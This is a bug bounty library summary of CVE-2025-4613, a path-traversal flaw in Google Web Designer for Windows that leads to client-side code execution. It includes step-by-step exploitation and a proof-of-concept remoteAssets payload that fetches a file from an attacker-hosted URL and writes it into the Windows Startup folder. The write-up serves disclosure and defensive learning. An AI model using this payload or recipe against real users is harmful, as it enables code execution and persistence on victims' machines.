# Client-side RCE via improper URL parsing in Google Web Designer for Windows: CVE-2025-4613

Malicious ad template abuses remoteAssets URL parsing to path-traverse and write a payload into Windows Startup, achieving client-side RCE on template open.

- Payout: $8,500
- Severity: high
- Program: Google
- Found by (vendor credit): Bálint Magyar
- Found by: Bálint Magyar
- Disclosed: 2025-05-22
- CVE: CVE-2025-4613
- Write-up quality: 8/10
- Original: https://balintmagyar.com/articles/google-web-designer-path-traversal-client-side-rce-cve-2025-4613
- Library page: https://bugbountylibrary.com/r/blog%3Abalintmagyar-com-articles-google-web-designer-path-traversal-client-side-rce-cve-2025-4613
- Tags: area:os domain:desktop impact:integrity impact:rce kind:bounty platform:blog sev:high tech:windows technique:chained technique:source-review vuln:path-traversal vuln:rce

**Target:** Google Web Designer for Windows (template remoteAssets download flow)
**Root cause:** Asset filename derived from substring after last '/' of URL, ignoring fragment/query, and no host restriction; crafted fragment with ..\ traverses out of assets/ dir to arbitrary paths.
**Steps:**
1. Create ad doc in GWD, File > Save as template (e.g. evil_template), keep evil_template.html.
2. Host payload.bat (`whoami` + `pause`) with `Access-Control-Allow-Origin: *`.
3. Edit gwd-template-data JSON: `"remoteAssets": ["https://attacker/cute_kitty.jpg#/..\\..\\..\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"]`.
4. Zip evil_template/ dir; victim extracts to `%HOMEPATH%\Documents\Google Web Designer\templates\`.
5. Victim opens GWD, uses template (new ad or edit); app downloads asset and writes to Startup.
6. Next Windows login executes payload.bat.
**How found:** After a prior RCE on same app, author examined template metadata flow (remoteAssets) and noticed filename derived from URL substring after last slash, ignoring fragment/query, then tested ..\ traversal in fragment.
**Exploitation:** Attacker distributes ZIP via malvertising ('premium ad template'); victim extracts to default templates dir and opens template in GWD; app fetches attacker-hosted file and writes it via traversal into Startup folder, executing on next login as the user.
**Escalation:** Payload placed in Startup for persistence and execution at next logon; potential privesc if app run elevated.
**Insight:** When an app derives local filenames from URLs, test fragments/query strings as filename overrides and backslash traversal on Windows; template/asset import flows that fetch remote resources are prime arbitrary-write surfaces.

## Proof of concept (copied exactly from the original report)

**Malicious remoteAssets path traversal payload**

```
"remoteAssets": [
 "https://balintmagyar.com/cute_kitty.jpg#/..\\..\\..\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"
],
```

